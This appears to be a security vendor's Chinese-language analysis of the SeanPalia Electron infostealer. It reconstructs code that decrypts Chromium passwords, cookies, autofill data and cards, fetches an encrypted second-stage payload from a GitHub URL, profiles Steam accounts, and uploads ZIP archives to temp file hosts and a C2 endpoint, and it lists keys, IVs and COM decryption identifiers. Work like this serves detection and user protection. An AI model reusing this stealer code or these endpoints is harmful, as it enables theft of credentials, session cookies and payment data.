代码: - async function stealPasswords(_, options) {
- try {
- const passwordDir = `${options.baseDir}/Passwords`;
- options.fileSystem.mkdir(passwordDir);
- const passwordFile = `${passwordDir}/Passwords.txt`;
- const results: string[] = [];
-
- for (const browser of options.browsers) {
- // 跳过不需要处理的浏览
- if (["Chrome", "Brave", "Edge", "Chrome Beta", "Avast"].includes(browser.name)) {
- continue;
- }
-
- for (const profile of browser.profiles) {
- let db: any = null;
- try {
- const profilePath = options.path.join(browser.basePath, profile);
- const loginDataPath = options.path.join(profilePath, "Login Data");
-
- if (!options.fileSystem.existsSync(loginDataPath)) {
- continue;
- }
-
- const browserName = `${browser.name} ${profile}`;
- const masterKey = browser.masterKeys?.[profile];
- if (!masterKey) {
- continue;
- }
-
- // 打开SQLite数据
- db = new options.database(loginDataPath, {
- readonly: true,
- fileMustExist: true
- });
-
- db.pragma("query_only = ON");
- db.pragma("temp_store = MEMORY");
-
- // 查询所有登录信
- const logins = db.prepare(`
- SELECT origin_url, username_value, password_value, date_created
- FROM logins
- `).all();
-
- for (const login of logins) {
- try {
- if (!login.password_value || !login.password_value.length) {
- continue;
- }
-
- const encryptedData = login.password_value;
- const version = encryptedData.toString("utf8", 3, 29);
-
- if (["v10", "v11"].includes(version)) {
- const nonce = encryptedData.slice(29, 127);
- const ciphertext = encryptedData.slice(127, encryptedData.length - 197);
- const authTag = encryptedData.slice(encryptedData.length - 197);
-
- // 解密密码
- const decipher = options.crypto.createDecipheriv("aes-256-gcm", masterKey, nonce);
- decipher.setAuthTag(authTag);
- const password = Buffer.concat([
- decipher.update(ciphertext),
- decipher.final()
- ]).toString("utf8");
-
- const dateCreated = login.date_created;
- let formattedDate = "Unknown";
-
- if (typeof dateCreated === "number" && !isNaN(dateCreated)) {
- const microseconds = dateCreated / 1000000;
- const epoch1601 = new Date("1601-01-01T00:00:00Z").getTime();
- const timestamp = epoch1601 + microseconds;
- formattedDate = new Date(timestamp).toLocaleString();
- }
-
- // 格式化输
- results.push(
- "------------------------------\n" +
- `Browser: ${browserName}\n` +
- `URL: ${login.origin_url}\n` +
- `Username: ${login.username_value}\n` +
- `Password: ${password}\n` +
- `Date Created: ${formattedDate}\n`
- );
- }
- } catch {
- // 单个条目处理失败时跳
- }
- }
- } catch {
- // 浏览器或配置文件处理失败时跳
- } finally {
- if (db) {
- try {
- db.close();
- } catch {
- // 关闭数据库失败时跳过
- }
- }
- }
- }
- }
-
- // 将所有结果写入文
- if (results.length) {
- await options.fileSystem.appendFile(
- passwordFile,
- Buffer.from(results.join(""), "utf8")
- );
- }
- } catch {
- // 整体处理失败时静默处
- }
- }
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5.2 Chromium Cookie 功能解析: 1. 定位 Chromium Cookie 数据库 2. 查询 host/path/name/expiry/encrypted value 3. 解密 Cookie 值 4. 以接 Netscape Cookie 文本格式导出
运行结果: ● 产生网站登录 / 会话 Cookie 导出
读取目标 / 请求目标: - <Browser>\User Data\<Profile>\Network\Cookies
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动态参数: ● 目标数据库路径模式: ○ <Browser>\User Data\<Profile>\Network\Cookies
● 关键动态依赖: ○ encrypted_value ○ 对应 profile masterKey
参数: ● profiles ○ 浏览器名、Profile 名、Cookie DB 路径、解 key
● queryCookieRows ○ 读取 Cookie
● decryptChromiumSecret ○ 解密 encrypted_value
● appendArtifact ○ 写入归档文件
代码: - /**
- * 读取 Cookie DB 并按 profile 导出
- */
- async function collectChromiumCookiesByProfileName(profiles: Array<{ browserName: string; profileName: string; cookieDbPath: string; masterKey: Buffer }>, deps) {
- for (const profile of profiles) {
- try {
- // 读取当前 profile Cookie 数据
- const rows = await deps.queryCookieRows(profile.cookieDbPath);
-
- // 每条 Cookie 都要 encrypted_value 解成明文
- const text = rows
- .map((row) => {
- const value = deps.decryptChromiumSecret(row.encrypted_value, profile.masterKey);
- return [row.host_key, "TRUE", row.path, row.is_secure ? "TRUE" : "FALSE", row.expires_utc, row.name, value].join("\t");
- })
- .join("\n");
-
- // 按浏览器 profile 维度落成 Cookie 文本
- await deps.appendArtifact(`Cookies/${profile.browserName}_${profile.profileName}.txt`, text);
- } catch {}
- }
- }
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5.3 Chromium 自动填充与信用卡 功能解析: 1. 读取 Web Data 2. 导出自动填充字段值 3. 同类逻辑还会读取信用卡表和本 CVC 表并尝试解密
运行结果: ● 产生自动填充数据导出 ● 产生信用卡号 / CVC 导出
读取目标 / 请求目标: - <Browser>\User Data\<Profile>\Web Data
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动态参数: ● 关键动态表 ○ autofill ○ credit_cards ○ local_stored_cvc
● 关键动态依赖: ○ 浏览 profile 路径 ○ 已恢复的 masterKey
参数: ● targets ○ 浏览器和 Web Data 路径
● queryAutofillRows ○ 查询自动填充
● appendArtifact ○ 写入归档
代码: - /**
- * 查询 Web Data.autofill 表,导出自动填充项
- */
- async function collectChromiumAutofillData(targets: Array<{ browserName: string; webDataPath: string }>, deps) {
- for (const target of targets) {
- try {
- // Web Data autofill 表中取自动填充条
- const rows = await deps.queryAutofillRows(target.webDataPath);
-
- // 输出 name / value / count,便于直接看用户保存过哪些表单内
- const text = rows
- .map((row) => `Name: ${row.name}\nValue: ${row.value}\nCount: ${row.count}`)
- .join("\n\n");
-
- // 写入 Autofills 归档目录
- await deps.appendArtifact(`Autofills/${target.browserName}.txt`, text);
- } catch {}
- }
- }
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5.4 书签与下载历史 功能解析: 1. 解析书签 JSON 2. 读取下载历史 3. 把浏览器用户行为痕迹整理进归档
运行结果: ● 产生书签导出 ● 产生下载历史导出
读取目标 / 请求目标: - <Browser>\User Data\<Profile>\Bookmarks
- <Browser>\User Data\<Profile>\History
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动态参数: ● 已确认命中路径: ○ C:\Users\Administrator\AppData\Local\Microsoft\Edge\User Data\Default\Bookmarks ○ C:\Users\Administrator\AppData\Local\Microsoft\Edge\User Data\Default\History
● 关键动态记录: ○ 书签 roots ○ downloads 相关历史记录
参数: ● targets ○ 书签文件路径与历史数据库路径
● readJson ○ 读取 Bookmarks
● flattenBookmarks ○ 展平书签
● queryDownloadRows ○ 查询下载历史
● appendArtifact ○ 写入归档
代码: - /**
- * 解析 Bookmarks JSON History.downloads,分别导出书签与下载记录
- */
- async function collectChromiumBookmarksAndHistory(targets: Array<{ browserName: string; bookmarksPath: string; historyDbPath: string }>, deps) {
- for (const target of targets) {
- try {
- // 书签保存 JSON 文件中,需要先展开 roots 树结
- const bookmarkJson = await deps.readJson(target.bookmarksPath);
- const bookmarks = deps.flattenBookmarks(bookmarkJson?.roots ?? {});
- await deps.appendArtifact(`Bookmarks/${target.browserName}.txt`, bookmarks.join("\n"));
- } catch {}
-
- try {
- // 下载历史来自 History SQLite downloads 记录
- const downloads = await deps.queryDownloadRows(target.historyDbPath);
- const downloadText = downloads
- .map((row) => `URL: ${row.tab_url ?? row.current_path}\nTarget: ${row.target_path ?? ""}`)
- .join("\n\n");
- await deps.appendArtifact(`Downloads/${target.browserName}.txt`, downloadText);
- } catch {}
- }
- }
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6. payload2 第二阶段执行链 这一部分在代码内部对应一条标准的“第二阶段载荷处理链”:先用一组内置参数通过 AES-256-GCM 解出真实下载 URL,再对远程返回的 Base64 文本做解码,并继续走 AES-256-CBC 解出最终的 PE。主程序本身负责完成这条下载、解密、装载链, payload2 被解出来之后,会继续承担 Chromium 受保护数据的本地处理任务,例如处理带 APPB 头的数据、调用浏览器自己的解密能力,以及把这些高价值结果回交主流程。
6.1 第二阶段载荷下载 功能解析: 1. payload 里先有一 AES-256-GCM 密文 2. 该密文解出后的明文不 PE,而是第二阶段下载 URL 3. 主代码再对这 URL XHR/HTTP 请求,拉取远程第二阶段载荷
运行结果: ● 先得 payload2 下载 URL ● 再取 Base64 形式的第二阶段远程载
读取目标 / 请求目标: - AES-256-GCM 解出 URL:
- GET [url]https://raw.githubusercontent.com/RobertJunas2145/x0x/refs/heads/main/mm[/url]
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动态参数: ● 阶段 A:GCM 解出的明 URL 证据 ○ payload2_deep_dumps/0405_decipher_output_update_aes-256-gcm.bin
● 原始响应文件: ○ payload2_deep_dumps/0407_served_payload2_raw_base64.bin
● 原始响应大小 ○ 770,777 字节
● 关键 XHR 事件 ○ XHR_OPEN ○ XHR_SEND ○ PAYLOAD2_XHR_SERVED_LOCAL
参数: ● gcmEncryptedUrl ○ payload 内置 GCM 密文 URL
● gcmKey ○ 用于解出下载 URL 的第一阶段 key
● gcmIv ○ 用于解出下载 URL 的第一阶段 iv
● httpGet ○ 发起第二阶段远程下载
● payload2Url ○ 第二阶段载荷 URL
代码: - <pre language="javascript" code_block="true"><code><font size="3" face="微软雅黑">/**
- * 先用 AES-256-GCM 解出下载 URL,再通过 XHR/HTTP 拉取第二阶段 payload
- */
- async function downloadPayload2(deps) {
- // 第一阶段:GCM 解密得到真正 payload2 下载地址
- const url = await deps.decryptUrlWithGcm();
-
- // 第二阶段:对 URL 发请求;分析环境里可以被 hook 成返回本 c2_mm_payload.bin
- const payload = deps.serveLocalPayloadIfHooked
- ? await deps.serveLocalPayloadIfHooked(url)
- : await deps.httpGet(url);
-
- return { url, payload };
- } </font></code></pre><p></p><p data-track="688"></p>
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6.2 Base64 解码与 AES 解密功能解析: 1. 先把远程响应当作 Base64 文本解码成二进制密文 2. 再使 AES-256-CBC 对该二进制密文做解密 3. 从动态数据看,主代码:payload2 至少存在一层明确的对称解密
运行结果: ● 解密后的本地辅助 PE 模块
读取目标 / 请求目标: - payload2_deep_dumps/0407_served_payload2_raw_base64.bin
- payload2_deep_dumps/0410_decipher_input_aes-256-cbc.bin
- payload2_deep_dumps/0411_decipher_output_update_aes-256-cbc.bin
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动态参数: ● CBC 解密输入 ○ 578,064 字节
● CBC 解密输出 ○ 578,048 字节
● CBC key ○ payload2_deep_dumps/0408_decipher_key_aes-256-cbc.bin ○ 长度 32 字节 ○ hex: 8888e9f69db0abf36046076df1b00bf0fe7e9a9e2583b8791bb172100a4cac58
● CBC iv ○ payload2_deep_dumps/0409_decipher_iv_aes-256-cbc.bin ○ 长度 16 字节 ○ hex: bbf65d08c9830be0ed3ad56a9e7f48a5
● 解密产物 ○ payload2_deep_dumps/0411_decipher_output_update_aes-256-cbc.bin ○ MZ 开头 ○ SHA256: 55e80a984d85bc95cd3b5ac2678e478b966001b270398b0147e7314e9a2126ad
代码: - /**
- * 对第二阶 payload 执行 Base64 解码,再 AES-256-CBC 解密,得 Windows PE
- */
- async function decodeAndDecryptPayload2(base64Payload: string, deps) {
- // 第一层:Base64 文本转二进制输入
- const encryptedBuffer = deps.base64ToBuffer(base64Payload);
-
- // 第二层:AES-256-CBC 解密;现有证据显示输出以 MZ 开头, PE
- const key = await deps.getPayload2Key();
- const iv = await deps.getPayload2Iv();
-
- return deps.aes256CbcDecrypt(encryptedBuffer, key, iv);
- }
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7. 环境画像与附加情报 这一部分在代码内部会主动发起外部查询并做本地存在性探测。它先通过 ipify / ipapi 获取公网 IP、城市、国家、ASN、运营商等信息,再检 Riot、Minecraft、Epic、Steam、Telegram、FileZilla、AnyDesk、RustDesk 等路径是否存在;如果命中 Steam,还会继续读 loginusers.vdf,提 SteamID 并调 Steam Web API 拉玩家资料、已拥有游戏和等级。此部分并非直接实施账号窃取行为,而是通过对目标主机进行标记,向攻击者提示该主机的价值及需重点关注的方向。
7.1 公网 IP / 地理画像 功能解析: 1. 请求 ipify 取公 IP 2. 再请 ipapi 取地理位置、ASN、运营商等画像 3. 失败时回退到全字段 N/A
运行结果: ● 形成受害者公 IP 和地理画像摘要
读取目标 / 请求目标: - GET [url]https://api.ipify.org?format=json[/url]
- GET [url]https://ipapi.co/<ip>/json/[/url]
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动态参数: ● 关键动态字段: ○ ip ○ city ○ region ○ country_name ○ asn ○ org
参数: ● http ○ 发起外部 HTTP 请求的客户端
● timeoutMs ○ 请求超时时间
代码: - /**
- * 先调 ipify 获取公网 IP,再 ipapi 获取地域/ASN/运营商画像
- */
- async function fetchPublicIpProfile(deps) {
- try {
- // 没有 Steam loginusers.vdf 就直接结
- if (
- !deps.fs.existsSync("C:\\Program Files (x86)\\Steam") ||
- !deps.fs.existsSync("C:\\Program Files (x86)\\Steam\\config\\loginusers.vdf")
- ) {
- return;
- }
-
- // loginusers.vdf 中提取所有匹配的 SteamID64
- const loginUsers = deps.fs.readFileSync(
- "C:\\Program Files (x86)\\Steam\\config\\loginusers.vdf",
- "utf-8"
- );
- const steamIds = loginUsers.match(/7656[0-9]{13}/g) || [];
-
- // 对每 SteamID 并发拉玩家资料、拥有游戏和 Steam 等级
- const results = await Promise.allSettled(
- steamIds.map(async (steamId) => {
- const [playerSummary, ownedGames, steamLevel] = await Promise.all([
- deps.http.get(
- "https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=440D7F4D810EF9298D25EDDF37C1F902&steamids=" +
- steamId
- ),
- deps.http.get(
- "https://api.steampowered.com/IPlayerService/GetOwnedGames/v1/?key=440D7F4D810EF9298D25EDDF37C1F902&steamid=" +
- steamId
- ),
- deps.http.get(
- "https://api.steampowered.com/IPlayerService/GetSteamLevel/v1/?key=440D7F4D810EF9298D25EDDF37C1F902&steamid=" +
- steamId
- ),
- ]);
-
- return deps.formatSteamSummary(
- playerSummary?.data?.response,
- ownedGames?.data?.response,
- steamLevel?.data?.response
- );
- })
- );
-
- const fulfilled = results
- .filter((item) => item.status === "fulfilled" && item.value)
- .map((item: any) => item.value);
-
- if (fulfilled.length > 0) {
- const summaryText =
- "xilon Steam Session (" + deps.hostLabel + ")</b>\n" + fulfilled.join("\n");
- await deps.sendSteamSummary(summaryText);
- }
- } catch {}
- }
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7.2 游戏 / 工具存在性探测
功能解析: 1. 判断 Riot、Minecraft、Epic、Steam、Telegram、FileZilla、AnyDesk、RustDesk 是否存在。 2. 若有 Steam,会进一步读 loginusers.vdf 并补玩家资料、已拥有游戏、等级等信息。
运行结果:
形成“这台主机装了哪些游戏/工具”的存在性画像,若命中 Steam,则补充 Steam 账号摘要并进入最终上报链。
读取目标 / 请求目标:
- C:\ProgramData\Riot Games
- %APPDATA%\.minecraft
- %APPDATA%\EpicGamesLauncher
- C:\Program Files (x86)\Steam
- C:\Program Files (x86)\Steam\config\loginusers.vdf
- %APPDATA%\Telegram Desktop\tdata
- %APPDATA%\FileZilla
- %APPDATA%\AnyDesk
- %APPDATA%\RustDesk
- GET [url]https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=[/url]
- <apiKey>&steamids=<steamId>
- GET [url]https://api.steampowered.com/IPlayerService/GetOwnedGames/v1/?key=[/url]
- <apiKey>&steamid=<steamId>
- GET [url]https://api.steampowered.com/IPlayerService/GetSteamLevel/v1/?key=[/url]
- <apiKey>&steamid=<steamId>
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动态参数: 本地存在性检查结果: Steam 富化前提: C:\Program Files (x86)\Steam 存在 C:\Program Files (x86)\Steam\config\loginusers.vdf 存在
参数: pathExists 检查目标目录或文件是否存在fs.existsSync 检查 Steam 根目录和fs.readFileSync 读取 loginusers.vdf http调 Steam Web API formatSteamSummary 把玩家资料、游戏数量、等级等结果拼成可上报文本
代码: - /**
- * 检查本机是否存在高价值游戏、通信工具和远控工具。
- */
- async function collectGameAndToolPresence(
- deps: {
- pathExists: (path: string) => Promise<boolean>;
- joinPath: (...parts: string[]) => string;
- roamingAppData: string;
- }
- ): Promise<{
- riotGames: boolean;
- minecraft: boolean;
- epicGames: boolean;
- steam: boolean;
- filezilla: boolean;
- Telegram: boolean;
- Anydesk: boolean;
- Rudesk: boolean;
- }> {
- const summary = {
- riotGames: false,
- minecraft: false,
- epicGames: false,
- steam: false,
- filezilla: false,
- Telegram: false,
- Anydesk: false,
- Rudesk: false,
- };
- try {
- // 并发检查样本硬编码关注的路径,结果会被用于主机价值画像
- const results = await Promise.all([
- deps.pathExists("C:\\ProgramData\\Riot Games"),
- deps.pathExists(deps.joinPath(deps.roamingAppData, ".minecraft")),
- deps.pathExists(deps.joinPath(deps.roamingAppData, "EpicGamesLauncher")),
- Promise.all([
- deps.pathExists("C:\\Program Files (x86)\\Steam"),
- deps.pathExists("C:\\Program Files
- (x86)\\Steam\\config\\loginusers.vdf"),
- ]),
- deps.pathExists(deps.joinPath(deps.roamingAppData, "Telegram Desktop",
- "tdata")),
- deps.pathExists(deps.joinPath(deps.roamingAppData, "FileZilla")),
- deps.pathExists(deps.joinPath(deps.roamingAppData, "AnyDesk")),
- deps.pathExists(deps.joinPath(deps.roamingAppData, "RustDesk")),
- ]);
- summary.riotGames = results[0];
- summary.minecraft = results[1];
- summary.epicGames = results[2];
- summary.steam = results[3][0] && results[3][1];
- summary.Telegram = results[4];
- summary.filezilla = results[5];
- summary.Anydesk = results[6];
- summary.Rudesk = results[7];
- } catch {}
- return summary;
- }
复制代码
如果本机存在 Steam 和 loginusers.vdf,则进一步补充 Steam 账号资料:
代码: - async function collectSteamProfileSummary(
- deps: {
- fs: {
- existsSync: (path: string) => boolean;
- readFileSync: (path: string, encoding: string) => string;
- };
- http: {
- get: (url: string) => Promise<any>;
- };
- formatSteamSummary: (playerSummary: any, ownedGames: any, steamLevel: any) =>
- string;
- sendSteamSummary: (text: string) => Promise<void>;
- hostLabel: string;
- }
- ): Promise<void> {
- try {
- // 没有 Steam 或 loginusers.vdf 就直接结束
- if (
- !deps.fs.existsSync("C:\\Program Files (x86)\\Steam") ||
- !deps.fs.existsSync("C:\\Program Files
- (x86)\\Steam\\config\\loginusers.vdf")
- ) {
- return;
- }
- // 从 loginusers.vdf 中提取所有匹配的 SteamID64
- const loginUsers = deps.fs.readFileSync(
- "C:\\Program Files (x86)\\Steam\\config\\loginusers.vdf",
- "utf-8"
- );
- const steamIds = loginUsers.match(/7656[0-9]{13}/g) || [];
- // 对每个 SteamID 并发拉玩家资料、拥有游戏和 Steam 等级
- const results = await Promise.allSettled(
- steamIds.map(async (steamId) => {
- const [playerSummary, ownedGames, steamLevel] = await Promise.all([
- deps.http.get(
- "https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?
- key=440D7F4D810EF9298D25EDDF37C1F902&steamids=" +
- steamId
- ),
- deps.http.get( "https://api.steampowered.com/IPlayerService/GetOwnedGames/v1/?
- key=440D7F4D810EF9298D25EDDF37C1F902&steamid=" +
- steamId
- ),
- deps.http.get(
- "https://api.steampowered.com/IPlayerService/GetSteamLevel/v1/?
- key=440D7F4D810EF9298D25EDDF37C1F902&steamid=" +
- steamId
- ),
- ]);
- return deps.formatSteamSummary(
- playerSummary?.data?.response,
- ownedGames?.data?.response,
- steamLevel?.data?.response
- );
- })
- );
- const fulfilled = results
- .filter((item) => item.status === "fulfilled" && item.value)
- .map((item: any) => item.value);
- if (fulfilled.length > 0) {
- const summaryText =
- "xilon Steam Session (" + deps.hostLabel + ")</b>\n" +
- fulfilled.join("\n");
- await deps.sendSteamSummary(summaryText);
- }
- } catch {}
- }
复制代码
8. 归档、统计与上传 这一部分在代码内部会先读取前面各目录里已经落好的 Passwords、Cookies、Autofills、Cards、Bookmarks、Downloads、Wallets、Extension、Private Files 等结果,统计数量并取关键字段;再把公 IP、机器信息、工具存在性、Steam 摘要 Discord token 数量拼进最终对象。随后它会生 ZIP、调用多个临时文件平台上传归档,并把下载链接、ZIP 密码和整份受害者摘要再发给 sender-moss 这类控制端接口,完成真正的“收集结果出网” 。
8.1 ZIP 上传 tmpfile.link 功能解析: 1. 构 multipart/form-data 2. ZIP 作为 file 字段上传 tmpfile.link 3. 返回 downloadLink 4. 若失败则返回 null
运行结果: ● 得到一个可转交 C2 或摘要消息的下载链接
读取目标 / 请求目标: - POST [url]https://tmpfile.link/api/upload[/url]
- POST [url]https://temp.sh/upload[/url]
- POST [url]https://tempfile.org/api/upload/local[/url]
- POST [url]https://upload.gofile.io/uploadfile[/url]
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动态参数: ● 关键动态参数: ○ filename ○ contentType: application/zip ○ 返回 downloadLink
参数: ● [fileName, fileContent] ○ 上传文件名和 ZIP 内容 ● FormDataCtor ○ multipart 表单构造器 ● http ○ HTTP/Axios 客户
代码: - /**
- * 上传 ZIP 文件:tmpfile.link 并返回下载链接
- */
- async function uploadTmpfileLink([fileName, fileContent]: [string, string | Blob], deps) {
- try {
- // 组装 multipart/form-data,请求体里只有一 file 字段
- const formData = new deps.FormDataCtor();
- formData.append("file", fileContent, {
- filename: fileName,
- contentType: "application/zip",
- });
-
- // 把最 ZIP 上传 tmpfile.link
- const response = await deps.http.post(
- "https://tmpfile.link/api/upload",
- formData,
- {
- headers: { ...formData.getHeaders() },
- maxBodyLength: Infinity,
- maxContentLength: Infinity,
- }
- );
-
- return response.data?.downloadLink ?? null;
- } catch {
- return null;
- }
- }
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8.2 最终汇总与上报 功能解析: 1. 汇总前面所有采集结果的数量和摘要 2. 拼上机器画像、公 IP、ASN、城市、国家、工具存在性等环境信息 3. 拼上钱包、扩展、私有文件、token 数量 4. 再把 ZIP 下载地址和密码并进最终结果 5. 把摘要交给后续上报链
运行结果: ● 形成最终受害者画像 ● 为外部上 / C2 回传提供结构化摘要
读取目标 / 请求目标: - 本地统计目录:
- Passwords
- Cookies
- Autofills
- Cards
- Bookmarks
- Downloads
- Wallets
- Extension
- Private Files
-
- 下载第二阶段 payload:
- GET [url]https://raw.githubusercontent.com/RobertJunas2145/x0x/refs/heads/main/mm[/url]
-
- 临时文件上传:
- POST [url]https://temp.sh/upload[/url]
- POST [url]https://tmpfile.link/api/upload[/url]
- POST [url]https://tempfile.org/api/upload/local[/url]
- POST [url]https://upload.gofile.io/uploadfile[/url]
-
- C2 / 上报:
- POST [url]https://api.hypercoreengine.com/sender-moss[/url]
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动态参数: ● 环境画像输入 ○ host ○ os ○ cpu ○ gpu ○ ramGb ○ hwid ○ publicIp ○ country ○ city ○ asn ○ org
● 本地统计输入 ○ Passwords ○ Cookies ○ Autofills ○ Cards ○ Bookmarks ○ Downloads ○ Wallets ○ Extension ○ Private Files
● 关键外传参数 ○ zipDownloadLink ○ zipPassword
参数: ● 各类统计函数 ○ 密码、Cookie、Autofill、Cards、Bookmarks、Downloads
● 环境画像函数 ○ 公网 IP、机器信息、工具存在性、Steam 摘要
● 资产计数函数 ○ 钱包、扩展、私有文件、Discord token
● getZipUploadResult ○ 读取 ZIP 上传返回
● sendSummary ○ 发送最终摘要
代码: - /**
- * 从各个归档目录和环境探针结果里汇总出一份结构化受害者摘要,并交给上报链
- */
- type FinalBundleSummary = {
- host: string;
- os: string;
- cpu: string;
- gpu?: string;
- ramGb: number;
- hwid: string;
- publicIp: string;
- country: string;
- city: string;
- asn: string;
- org: string;
- passwordCount: number;
- cookieCount: number;
- autofillCount: number;
- cardCount: number;
- bookmarkCount: number;
- downloadCount: number;
- walletCount: number;
- extensionCount: number;
- privateFileCount: number;
- discordTokenCount: number;
- steamSummary?: string;
- toolPresence: Record<string, boolean>;
- zipDownloadLink?: string;
- zipPassword?: string;
- };
-
- async function collectAndUploadEncryptedArchiveBundle(deps) {
- // 并发拉取所有已经收集好的计数、环境画像和上传结果
- const [
- machine,
- publicIp,
- toolPresence,
- steamSummary,
- passwordCount,
- cookieCount,
- autofillCount,
- cardCount,
- bookmarkCount,
- downloadCount,
- walletCount,
- extensionCount,
- privateFileCount,
- discordTokenCount,
- zipResult,
- ] = await Promise.all([
- deps.getMachineProfile(),
- deps.fetchPublicIpProfile(),
- deps.collectGameAndToolPresence(),
- deps.collectSteamProfileSummary(),
- deps.countArtifactEntries("Passwords"),
- deps.countCollectedCookieLines(),
- deps.countArtifactEntries("Autofills"),
- deps.countArtifactEntries("Cards"),
- deps.countArtifactEntries("Bookmarks"),
- deps.countArtifactEntries("Downloads"),
- deps.getWalletArtifactCount(),
- deps.getExtensionArtifactCount(),
- deps.getPrivateFileCount(),
- deps.getDiscoveredDiscordTokenCount(),
- deps.getZipUploadResult(),
- ]);
-
- // 组装最终上报对
- const summary: FinalBundleSummary = {
- host: machine.host,
- os: machine.os,
- cpu: machine.cpu,
- gpu: machine.gpu,
- ramGb: machine.ramGb,
- hwid: machine.hwid,
- publicIp: publicIp?.ip ?? "N/A",
- country: publicIp?.country ?? "N/A",
- city: publicIp?.city ?? "N/A",
- asn: publicIp?.asn ?? "N/A",
- org: publicIp?.org ?? "N/A",
- passwordCount,
- cookieCount,
- autofillCount,
- cardCount,
- bookmarkCount,
- downloadCount,
- walletCount,
- extensionCount,
- privateFileCount,
- discordTokenCount,
- steamSummary,
- toolPresence,
- zipDownloadLink: zipResult.downloadLink,
- zipPassword: zipResult.password,
- };
-
- // 把最终摘要送入后续上报
- await deps.sendSummary(summary);
- return summary;
- }
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五、负责解密 Chromium 系浏览器受保护数据的本地辅助模块这一部分对应的是第二阶段本地辅助模块。它本身不是 SeanPalia 主程序里那条 Node.js 采集链,而是专门负责处理 Chromium 系浏览器受保护数据的原生解密组件。当前已经完成的 IDA 分析表明,这个模块的核心职责包括:
● 识别目标浏览器类 ○ Google Chrome ○ Google Chrome Beta ○ Brave Browser ○ Microsoft Edge ○ Avast Secure Browser
● 构造浏览器本地数据路径 ○ User Data 根目录 ○ Default / Profile 1-5 配置子目录 ○ Local State ○ Login Data ○ Web Data ○ History ○ Bookmarks ○ Cookies ○ Local Storage/leveldb
● 读取 APPB 头的加密数据
● 调用浏览 Elevation Service COM 组件执行解密
● 将解密结果交回上层恶意逻辑继续使用
1.核心函数定位
1.1 decrypt_collected_appb_blobs_via_com 这是当前原生模块的主控函数,负责初始 Native API,执行反调试与自保护检查,初始 COM,枚举受支持浏览器目标,读取 APPB blob,并调用浏览 Elevation Service COM 接口完成解密,最后汇总结果交给后续流程 1. 扫描并识别目标浏览器(Chrome/Chrome Beta/Brave/Edge/Avast) 2. 构造目标数据路径(User Data、Profiles、Local State、Cookies、History 等) 3. 读取 APPB 加密数据块(浏览器保护数据) 4. 调用浏览器本 Elevation Service COM 组件执行解密 5. 将解密后的结果返回给上层 JS/Electron 主控进行后续处理 6. 不同的浏览器对应 COM他自己的对象
参数说明: ● 无显式参数 ● 该函数主要依赖内部构造的浏览器目标描述、APPB 输入缓冲区、COM 组件 CLSID / IID 以及结果树容器完成整条解密链 返回值不是最终明文结果本身,而是内部处理结束后的状态值;实际解密结果通过结果树和后续处理流程继续传
对应代码图:
1.2 resolve_browser_target_descriptor 该函数根据输入浏览器名称构造目标描述对象,填充对应 CLSID / IID / User Data / Profile / 目标文件片段,是后续路径构造与 COM 解密调用的适配层。
参数说明: ● out_descriptor ○ 类型:BROWSER_TARGET_DESCRIPTOR * ○ 作用:输出浏览器目标描述对象,函数会在这里写入浏览器对应 COM 标识和路径字
● browser_name ○ 类型:浏览器名称对象指针 ○ 作用:作为输入浏览器标识,用于匹配并决定当前构造哪一类浏览器分支
当前已识别的 `CLSID / IID`: ● Google Chrome ○ CLSID:{708860E0-F641-4611-8895-7D867DD3675B} ○ IID(primary):{1BF5208B-295F-4992-B5F4-3A9BB6494838} ○ IID(fallback):{463ABECF-410D-407F-8AF5-0DF35A005CC8}
● Google Chrome Beta ○ CLSID:{DD2646BA-3707-4BF8-B9A7-038691A68FC2} ○ IID(primary):{B96A14B8-D0B0-44D8-BA68-2385B2A03254} ○ IID(fallback):样本中同样存在备用 IID 字段,但当前主链主要使用 Chrome Beta 专属 IID
● Brave Browser ○ CLSID:{576B31AF-6369-4B6B-8560-E4B203A97A8B} ○ IID(primary):{1BF5208B-295F-4992-B5F4-3A9BB6494838} ○ IID(fallback):{F396861E-0C8E-4C71-8256-2FAE6D759CE9}
● Microsoft Edge ○ CLSID:{1FCBE96C-1697-43AF-9140-2897C7C69767} ○ IID(primary):{8F7B6792-4D78-4040-BD24-AE5E140FE15D} ○ IID(fallback):{C9C2B807-7731-4F34-81B7-44FF7779522B}
● Avast Secure Browse ○ CLSID:{EAD34EE8-8D08-4CA1-ADA3-64754374D811} ○ IID(fallback):{7737BB9F-BAC1-4C71-8296-7C82D7994B6F} ○ IID(primary):当前样本中该分支未像前几类那样拆出第二组独立主 IID,主要可稳定确认的是 CLSID 与一组解密接口标 ○ 该截图展示的 Google Chrome 分支对应的浏览器目标描述构造结果
1.3 wipe_image_headers_and_sections 该函数负责清除自 PE 头和节表,属于明显的反分 / 自抹痕逻辑
作用说明 ● 修改当前模块内存中的 PE 头和节表内容 ● 降低后续静态/动态分析时可以直接恢复的模块结构信息
对应代码图:
2.当前模块在整条攻击链中的作用 从攻击链分工上看,可以把它和外层 Electron / JS 主控区分为两层: ● 外层 Electron / JS 主控
负责环境探测、关闭浏览器、扫描数据、调用辅助模块、整理数据并上传
● 当前 IDA 中的原生模块
负责 Chromium 系浏览器中原本受保护、不能直接明文读取的数据解出来
因此,这个模块在整条链里的最准确定位是: SeanPalia 主窃密链中的“浏览器本地解密 / 受保护数据辅助采集模块”
火绒安全在此提醒广大用户,Electron 应用已成为窃密木马的高频伪装载体,SeanPalia 这类样本可窃取浏览器账号密码、Cookie、信用卡信息、加密货币钱包数据及 Discord、Steam 等高价值账号资产,危害极大。广大用户需谨慎下载来历不明的桌面软件,避免运行非官方渠道的绿色版、破解版工具;及时更新安全软件并开启实时防护,不要轻易关闭安全提示。一旦发现设备出现浏览器异常退出、进程无故被结束等情况,应立即进行全盘查杀,防止敏感信息与数字资产被盗。
C&C:
SHA256:
文中参考链接: https://bbs.kanxue.com/thread-288619.htm
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